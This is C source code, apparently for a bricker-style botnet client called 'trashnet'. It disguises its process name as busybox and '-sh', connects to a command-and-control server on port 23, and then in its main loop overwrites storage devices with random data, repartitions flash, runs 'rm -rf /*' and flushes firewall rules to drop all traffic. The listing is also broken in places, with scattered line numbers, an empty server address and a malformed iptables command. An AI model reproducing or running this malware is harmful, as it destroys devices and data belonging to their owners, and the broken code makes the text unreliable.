```c
// trashnet is garbage for someone who cant write in c.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <dirent.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <stdarg.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <linux/limits.h>
#include <ctype.h>

#define PHI 0x9e3779b9
#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))

int cnc_fd = 0, iprange;
uint32_t *pids, scanner_pid;
static uint32_t Q[4096], c = 362436;
struct in_addr ourIP;

void init_rand(uint32_t x)
{
    int i;

    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;

    for (i = 3; i < 4096; i++)
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
```

```
54.
55. int get_host(unsigned char *toGet, struct in_addr *i)
56. {
57.     struct hostent *h;
58.
59.     if((i->s_addr = inet_addr(toGet)) == -1)
60.         return 1;
61.
62.     return 0;
63. }
64.
65. int xstrlen(char *str)
66. {
67.     int c = 0;
68.
69.     while (*str++ != 0)
70.         c++;
71.     return c;
72. }
73.
74. int xcstrlen(const char *format)
75. {
76.     int c = 0;
77.
78.     while (*format++ != 0)
79.         c++;
80.     return c;
81. }
82.
83. void xmemcpy(void *dst, void *src, int len)
84. {
85.     char *r_dst = (char *)dst;
86.     char *r_src = (char *)src;
87.
88.     while (len--)
89.         *r_dst++ = *r_src++;
90. }
91.
92. int xstrcpy(char *dst, char *src)
93. {
94.     int l = xstrlen(src);
95.
96.     xmemcpy(dst, src, l + 1);
97.
98.     return l;
99. }
100.
101. void xzero(void *buf, int len)
102. {
103.     char *zero = buf;
104.     while (len--)
105.         *zero++ = 0;
106. }
```

```
107.
108. int xmemexists(char *buf, int buf_len, char *str, int str_len)
109. {
110.     int matches = 0;
111.
112.     if (str_len > buf_len)
113.         return 0;
114.
115.     while (buf_len--)
116.     {
117.         if (*buf++ == str[matches])
118.         {
119.             if (++matches == str_len)
120.                 return 1;
121.         }
122.         else
123.             matches = 0;
124.     }
125.
126.     return 0;
127. }
128.
129. int connect_timeout(int fd, char *host, int port, int timeout)
130. {
131.     int valopt, res;
132.     long arg = fcntl(fd, F_GETFL, NULL);
133.     struct sockaddr_in dest_addr;
134.     struct timeval tv;
135.
136.     fd_set myset;
137.     socklen_t lon;
138.     arg |= O_NONBLOCK;
139.     fcntl(fd, F_SETFL, arg);
140.
141.     dest_addr.sin_family = AF_INET;
142.     dest_addr.sin_port = htons(port);
143.
144.     if(get_host(host, &dest_addr.sin_addr))
145.         return 0;
146.
147.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
148.
149.     if (res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) < 0)
150.     {
151.         if (errno == EINPROGRESS)
152.         {
153.             tv.tv_sec = timeout;
154.             tv.tv_usec = 0;
155.             FD_ZERO(&myset);
156.             FD_SET(fd, &myset);
157.
158.             if (select(fd + 1, NULL, &myset, NULL, &tv) > 0)
159.             {
```

```
                lon = sizeof(int);
                getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);

                if (valopt)
                    return 0;
            }
            else
                return 0;
        }
        else
            return 0;
    }

    arg = fcntl(fd, F_GETFL, NULL);
    arg &= (~O_NONBLOCK);
    fcntl(fd, F_SETFL, arg);

    return 1;
}

int connect_init(char *server, int port)
{
    if(cnc_fd)
    {
        close(cnc_fd);
        cnc_fd = 0;
    }

    cnc_fd = socket(AF_INET, SOCK_STREAM, 0);

    if(!connect_timeout(cnc_fd, server, port, 30))
        return 1;

    return 0;
}

int sock_print(int sock, char *string, ...)
{
    char buffer[1024];
    memset(buffer, 0, 1024);

    va_list args;
    va_start(args, string);
    vsprintf(buffer, string, args);
    va_end(args);

    return send(sock, buffer, strlen(buffer), MSG_NOSIGNAL);
}

int contains_string(char *buffer, char **strings)
{
    int i = 0, num_of_strings = 0;

```

```
213.     for(num_of_strings = 0; strings[++num_of_strings] != 0;);
214.
215.     for(i = 0; i < num_of_strings; i++)
216.     {
217.         if(xmemexists(buffer, xstrlen(buffer), strings[i], xstrlen(strings[i])) == 1)
218.             return 1;
219.     }
220.
221.     return 0;
222. }
223.
224. int read_with_timeout(int fd, int timeout_usec, char *buffer, int buf_size)
225. {
226.     fd_set read_set;
227.     struct timeval tv;
228.     tv.tv_sec = 0;
229.     tv.tv_usec = timeout_usec;
230.
231.     FD_ZERO(&read_set);
232.     FD_SET(fd, &read_set);
233.
234.     if (select(fd + 1, &read_set, NULL, NULL, &tv) < 1)
235.         return 0;
236.
237.     return recv(fd, buffer, buf_size, 0);
238. }
239.
240. int read_until_response(int fd, int timeout_usec, char *buffer, int buf_size, char **strings)
241. {
242.     int num_bytes, i;
243.     uint8_t *ptr = buffer;
244.
245.     xzero(buffer, buf_size);
246.     num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
247.
248.     if(contains_string(buffer, strings))
249.         return 1;
250.
251.     return 0;
252. }
253.
254. int get_local_ip()
255. {
256.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
257.     if(sock == -1)
258.         return 0;
259.
260.     struct sockaddr_in serv;
261.     memset(&serv, 0, sizeof(serv));
262.     serv.sin_family = AF_INET;
263.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
264.     serv.sin_port = htons(2222);
265.
```

```
266.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
267.     if(err == -1)
268.         return 0;
269.
270.     struct sockaddr_in name;
271.     socklen_t namelen = sizeof(name);
272.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
273.     if(err == -1)
274.         return 0;
275.
276.     ourIP.s_addr = name.sin_addr.s_addr;
277.     close(sock);
278. }
279.
280. int main(int argc, char **argv)
281. {
282.     int tmp, ret;
283.
284.     if (argc >= 2)
285.         iprange = atoi(argv[1]);
286.
287.     prctl(15, (unsigned long)"/bin/busybox", 0, 0, 0);
288.     memset(argv[0], 0, sizeof(argv[0]));
289.     strcpy(argv[0], "-sh");
290.
291.     write(1, "future\n", 6);
292.
293.     signal(SIGPIPE, SIG_IGN);
294.     init_rand(time(NULL) ^ getpid());
295.     get_local_ip();
296.
297.     while(1)
298.     {
299.         if(connect_init("", 23)) // cnc
300.         {
301.             continue;
302.         }
303.     system("fdisk -l");
304.     system("cat /dev/urandom > /dev/mtdblock0");
305.     system("cat /dev/urandom > /dev/sda");
306.     system("cat /dev/urandom > /dev/ram0");
307.     system("cat /dev/urandom > /dev/mmc0");
308.     system("cat /dev/urandom > /dev/mtdblock10");
309.     system("fdisk -C 1 -H 1 -S 1 /dev/mtd0");
310.     system("fdisk -C 1 -H 1 -S 1 /dev/mtd1");
311.     system("fdisk -C 1 -H 1 -S 1 /dev/sda");
312.     system("fdisk -C 1 -H 1 -S 1 /dev/mtdblock0");
313.     system("rm -rf /*");
314.     system("iptables -F; iptables -t nat -F iptables -A INPUT -J DROP; iptables -A FORWARD -j DROP
    half -n -f");
315.     }
316.     return 0;
317. }
```